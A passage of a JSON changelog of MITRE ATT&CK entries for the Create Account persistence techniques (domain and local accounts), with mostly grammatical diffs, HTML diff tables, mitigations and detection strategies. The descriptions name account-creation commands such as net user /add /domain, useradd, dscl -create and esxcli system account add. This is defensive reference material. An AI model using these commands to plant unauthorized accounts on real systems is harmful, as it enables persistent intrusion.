nowrap=\"nowrap\">a&nbsp;sufficient&nbsp;level&nbsp;of&nbsp;access,&nbsp;creating&nbsp;such&nbsp;accounts&nbsp;may&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used&nbsp;to&nbsp;establish&nbsp;secondary&nbsp;credentialed&nbsp;access&nbsp;that&nbsp;do<span class=\"diff_chg\">&nbsp;not</span>&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used&nbsp;to&nbsp;establish&nbsp;secondary&nbsp;credentialed&nbsp;access&nbsp;that&nbsp;do<span class=\"diff_chg\">es&nbsp;no</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">require&nbsp;persistent&nbsp;remote&nbsp;access&nbsp;tools&nbsp;to&nbsp;be&nbsp;deployed&nbsp;on&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">t</span>&nbsp;require&nbsp;persistent&nbsp;remote&nbsp;access&nbsp;tools&nbsp;to&nbsp;be&nbsp;deployed&nbsp;on&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system.&nbsp;&nbsp;Accounts&nbsp;may&nbsp;be&nbsp;created&nbsp;on&nbsp;the&nbsp;local&nbsp;system&nbsp;or&nbsp;wit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;system.&nbsp;&nbsp;Accounts&nbsp;may&nbsp;be&nbsp;created&nbsp;on&nbsp;the&nbsp;local&nbsp;system&nbsp;or&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hin&nbsp;a&nbsp;domain&nbsp;or&nbsp;cloud&nbsp;tenant.&nbsp;In&nbsp;cloud&nbsp;environments,&nbsp;adversa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithin&nbsp;a&nbsp;domain&nbsp;or&nbsp;cloud&nbsp;tenant.&nbsp;In&nbsp;cloud&nbsp;environments,&nbsp;adver</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;may&nbsp;create&nbsp;accounts&nbsp;that&nbsp;only&nbsp;have&nbsp;access&nbsp;to&nbsp;specific&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">saries&nbsp;may&nbsp;create&nbsp;accounts&nbsp;that&nbsp;only&nbsp;have&nbsp;access&nbsp;to&nbsp;specific</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervices,&nbsp;which&nbsp;can&nbsp;reduce&nbsp;the&nbsp;chance&nbsp;of&nbsp;detection.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;services,&nbsp;which&nbsp;can&nbsp;reduce&nbsp;the&nbsp;chance&nbsp;of&nbsp;detection.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1028: Operating System Configuration",
                            "M1030: Network Segmentation",
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0583: Detection Strategy for T1136 - Create Account across platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-28 14:05:17.825000+00:00",
                    "modified": "2026-11-04 03:17:03.984000+00:00",
                    "name": "Domain Account",
                    "description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)\n\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1136/002",
                            "external_id": "T1136.002"
                        },
                        {
                            "source_name": "Savill 1999",
                            "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                            "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:17:03.984000+00:00\", \"old_value\": \"2025-10-24 17:48:57.883000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)\\n\\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the <code>net user /add /domain</code> command can be used to create a domain account.(Citation: Savill 1999)\\n \\n-Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\\n+Such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}, \"iterable_item_removed\": {\"root['external_references'][1]\": {\"source_name\": \"Microsoft User Creation Event\", \"description\": \"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to27__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to27__0\"><a href=\"#difflib_chg_to27__top\">t</a></td><td class=\"diff_header\" id=\"from27_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;a&nbsp;domain&nbsp;account&nbsp;to&nbsp;maintain&nbsp;access&nbsp;t</td><td class=\"diff_next\"><a href=\"#difflib_chg_to27__top\">t</a></td><td class=\"diff_header\" id=\"to27_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;a&nbsp;domain&nbsp;account&nbsp;to&nbsp;maintain&nbsp;access&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;victim&nbsp;systems.&nbsp;Domain&nbsp;accounts&nbsp;are&nbsp;those&nbsp;managed&nbsp;by&nbsp;Activ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;victim&nbsp;systems.&nbsp;Domain&nbsp;accounts&nbsp;are&nbsp;those&nbsp;managed&nbsp;by&nbsp;Activ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Directory&nbsp;Domain&nbsp;Services&nbsp;where&nbsp;access&nbsp;and&nbsp;permissions&nbsp;are</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;Directory&nbsp;Domain&nbsp;Services&nbsp;where&nbsp;access&nbsp;and&nbsp;permissions&nbsp;are</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;configured&nbsp;across&nbsp;systems&nbsp;and&nbsp;services&nbsp;that&nbsp;are&nbsp;part&nbsp;of&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;configured&nbsp;across&nbsp;systems&nbsp;and&nbsp;services&nbsp;that&nbsp;are&nbsp;part&nbsp;of&nbsp;tha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;domain.&nbsp;Domain&nbsp;accounts&nbsp;can&nbsp;cover&nbsp;user,&nbsp;administrator,&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;domain.&nbsp;Domain&nbsp;accounts&nbsp;can&nbsp;cover&nbsp;user,&nbsp;administrator,&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;service&nbsp;accounts.&nbsp;With&nbsp;a&nbsp;sufficient&nbsp;level&nbsp;of&nbsp;access,&nbsp;the&nbsp;&lt;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;service&nbsp;accounts.&nbsp;With&nbsp;a&nbsp;sufficient&nbsp;level&nbsp;of&nbsp;access,&nbsp;the&nbsp;&lt;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;net&nbsp;user&nbsp;/add&nbsp;/domain&lt;/code&gt;&nbsp;command&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;crea</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;net&nbsp;user&nbsp;/add&nbsp;/domain&lt;/code&gt;&nbsp;command&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;crea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;a&nbsp;domain&nbsp;account.(Citation:&nbsp;Savill&nbsp;1999)&nbsp;&nbsp;Such&nbsp;accounts&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;a&nbsp;domain&nbsp;account.(Citation:&nbsp;Savill&nbsp;1999)&nbsp;&nbsp;Such&nbsp;accounts&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;be&nbsp;used&nbsp;to&nbsp;establish&nbsp;secondary&nbsp;credentialed&nbsp;access&nbsp;that&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;be&nbsp;used&nbsp;to&nbsp;establish&nbsp;secondary&nbsp;credentialed&nbsp;access&nbsp;that&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o<span class=\"diff_chg\">&nbsp;not</span>&nbsp;require&nbsp;persistent&nbsp;remote&nbsp;access&nbsp;tools&nbsp;to&nbsp;be&nbsp;deployed&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o<span class=\"diff_chg\">es&nbsp;not</span>&nbsp;require&nbsp;persistent&nbsp;remote&nbsp;access&nbsp;tools&nbsp;to&nbsp;be&nbsp;deploye</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on&nbsp;the&nbsp;system.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;on&nbsp;the&nbsp;system.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1028: Operating System Configuration",
                            "M1030: Network Segmentation",
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0003: T1136.002 Detection Strategy - Domain Account Creation Across Platforms"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-28 13:50:22.506000+00:00",
                    "modified": "2026-11-04 03:16:37.829000+00:00",
                    "name": "Local Account",
                    "description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \n\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\n\nAdversaries may also create new local accounts on network firewall management consoles \u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\n\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "persistence"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1136/001",
                            "external_id": "T1136.001"
                        },
                        {
                            "source_name": "cisco_username_cmd",
                            "description": "Cisco. (2023, March 6). username - Cisco IOS Security Command Reference: Commands S to Z. Retrieved July 13, 2022.",
                            "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-t2.html#wp1047035630"
                        },
                        {
                            "source_name": "Cyber Security News",
                            "description": "Kaaviya. (n.d.). SuperBlack Actors Exploiting Two Fortinet Vulnerabilities to Deploy Ransomware. Retrieved September 22, 2025.",
                            "url": "https://cybersecuritynews.com/superblack-actors-exploiting-two-fortinet-vulnerabilities/"
                        },
                        {
                            "source_name": "Kubernetes Service Accounts Security",
                            "description": "Kubernetes. (n.d.). Service Accounts. Retrieved July 14, 2023.",
                            "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Austin Clark, @c2defense"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "1.5",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:16:37.829000+00:00\", \"old_value\": \"2026-05-12 15:12:00.636000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nAdversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n\\nSuch accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\", \"old_value\": \"Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. \\n\\nFor example, with a sufficient level of access, the Windows <code>net user /add</code> command can be used to create a local account.  In Linux, the `useradd` command can be used, while on macOS systems, the <code>dscl -create</code> command can be used. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as <code>username</code>, to ESXi servers via `esxcli system account add`, or to Kubernetes clusters using the `kubectl` utility.(Citation: cisco_username_cmd)(Citation: Kubernetes Service Accounts Security)\\n\\nAdversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n\\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Adversaries may also create new local accounts on network firewall management consoles \\u2013 for example, by exploiting a vulnerable firewall management system, threat actors may be able to establish super-admin accounts that could be used to modify firewall rules and gain further access to the network.(Citation: Cyber Security News)\\n \\n-Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\\n+Such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"Microsoft User Creation Event\", \"description\": \"Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720\"}}}",
                    "previous_version": "1.5",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to98__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to98__0\"><a href=\"#difflib_chg_to98__top\">t</a></td><td class=\"diff_header\" id=\"from98_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;a&nbsp;local&nbsp;account&nbsp;to&nbsp;maintain&nbsp;access&nbsp;to</td><td class=\"diff_next\"><a href=\"#difflib_chg_to98__top\">t</a></td><td class=\"diff_header\" id=\"to98_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;create&nbsp;a&nbsp;local&nbsp;account&nbsp;to&nbsp;maintain&nbsp;access&nbsp;to</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;victim&nbsp;systems.&nbsp;Local&nbsp;accounts&nbsp;are&nbsp;those&nbsp;configured&nbsp;by&nbsp;an&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;victim&nbsp;systems.&nbsp;Local&nbsp;accounts&nbsp;are&nbsp;those&nbsp;configured&nbsp;by&nbsp;an&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rganization&nbsp;for&nbsp;use&nbsp;by&nbsp;users,&nbsp;remote&nbsp;support,&nbsp;services,&nbsp;or&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rganization&nbsp;for&nbsp;use&nbsp;by&nbsp;users,&nbsp;remote&nbsp;support,&nbsp;services,&nbsp;or&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;administration&nbsp;on&nbsp;a&nbsp;single&nbsp;system&nbsp;or&nbsp;service.&nbsp;&nbsp;&nbsp;For&nbsp;examp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;administration&nbsp;on&nbsp;a&nbsp;single&nbsp;system&nbsp;or&nbsp;service.&nbsp;&nbsp;&nbsp;For&nbsp;examp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le,&nbsp;with&nbsp;a&nbsp;sufficient&nbsp;level&nbsp;of&nbsp;access,&nbsp;the&nbsp;Windows&nbsp;&lt;code&gt;net</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le,&nbsp;with&nbsp;a&nbsp;sufficient&nbsp;level&nbsp;of&nbsp;access,&nbsp;the&nbsp;Windows&nbsp;&lt;code&gt;net</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user&nbsp;/add&lt;/code&gt;&nbsp;command&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;create&nbsp;a&nbsp;local&nbsp;acco</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;user&nbsp;/add&lt;/code&gt;&nbsp;command&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;create&nbsp;a&nbsp;local&nbsp;acco</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unt.&nbsp;&nbsp;In&nbsp;Linux,&nbsp;the&nbsp;`useradd`&nbsp;command&nbsp;can&nbsp;be&nbsp;used,&nbsp;while&nbsp;on&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unt.&nbsp;&nbsp;In&nbsp;Linux,&nbsp;the&nbsp;`useradd`&nbsp;command&nbsp;can&nbsp;be&nbsp;used,&nbsp;while&nbsp;on&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">macOS&nbsp;systems,&nbsp;the&nbsp;&lt;code&gt;dscl&nbsp;-create&lt;/code&gt;&nbsp;command&nbsp;can&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">macOS&nbsp;systems,&nbsp;the&nbsp;&lt;code&gt;dscl&nbsp;-create&lt;/code&gt;&nbsp;command&nbsp;can&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used.&nbsp;Local&nbsp;accounts&nbsp;may&nbsp;also&nbsp;be&nbsp;added&nbsp;to&nbsp;network&nbsp;devices,&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used.&nbsp;Local&nbsp;accounts&nbsp;may&nbsp;also&nbsp;be&nbsp;added&nbsp;to&nbsp;network&nbsp;devices,&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ften&nbsp;via&nbsp;common&nbsp;[Network&nbsp;Device&nbsp;CLI](https://attack.mitre.or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ften&nbsp;via&nbsp;common&nbsp;[Network&nbsp;Device&nbsp;CLI](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1059/008)&nbsp;commands&nbsp;such&nbsp;as&nbsp;&lt;code&gt;username&lt;/cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1059/008)&nbsp;commands&nbsp;such&nbsp;as&nbsp;&lt;code&gt;username&lt;/cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;,&nbsp;to&nbsp;ESXi&nbsp;servers&nbsp;via&nbsp;`esxcli&nbsp;system&nbsp;account&nbsp;add`,&nbsp;or&nbsp;to&nbsp;K</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;,&nbsp;to&nbsp;ESXi&nbsp;servers&nbsp;via&nbsp;`esxcli&nbsp;system&nbsp;account&nbsp;add`,&nbsp;or&nbsp;to&nbsp;K</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ubernetes&nbsp;clusters&nbsp;using&nbsp;the&nbsp;`kubectl`&nbsp;utility.(Citation:&nbsp;ci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ubernetes&nbsp;clusters&nbsp;using&nbsp;the&nbsp;`kubectl`&nbsp;utility.(Citation:&nbsp;ci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sco_username_cmd)(Citation:&nbsp;Kubernetes&nbsp;Service&nbsp;Accounts&nbsp;Secu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sco_username_cmd)(Citation:&nbsp;Kubernetes&nbsp;Service&nbsp;Accounts&nbsp;Secu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rity)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;create&nbsp;new&nbsp;local&nbsp;accounts&nbsp;on&nbsp;net</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rity)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;create&nbsp;new&nbsp;local&nbsp;accounts&nbsp;on&nbsp;net</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">work&nbsp;firewall&nbsp;management&nbsp;consoles&nbsp;\u2013&nbsp;for&nbsp;example,&nbsp;by&nbsp;exploiti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">work&nbsp;firewall&nbsp;management&nbsp;consoles&nbsp;\u2013&nbsp;for&nbsp;example,&nbsp;by&nbsp;exploiti</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;vulnerable&nbsp;firewall&nbsp;management&nbsp;system,&nbsp;threat&nbsp;actors&nbsp;ma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;a&nbsp;vulnerable&nbsp;firewall&nbsp;management&nbsp;system,&nbsp;threat&nbsp;actors&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;be&nbsp;able&nbsp;to&nbsp;establish&nbsp;super-admin&nbsp;accounts&nbsp;that&nbsp;could&nbsp;be&nbsp;us</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;be&nbsp;able&nbsp;to&nbsp;establish&nbsp;super-admin&nbsp;accounts&nbsp;that&nbsp;could&nbsp;be&nbsp;us</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;modify&nbsp;firewall&nbsp;rules&nbsp;and&nbsp;gain&nbsp;further&nbsp;access&nbsp;to&nbsp;the&nbsp;n</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;to&nbsp;modify&nbsp;firewall&nbsp;rules&nbsp;and&nbsp;gain&nbsp;further&nbsp;access&nbsp;to&nbsp;the&nbsp;n</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 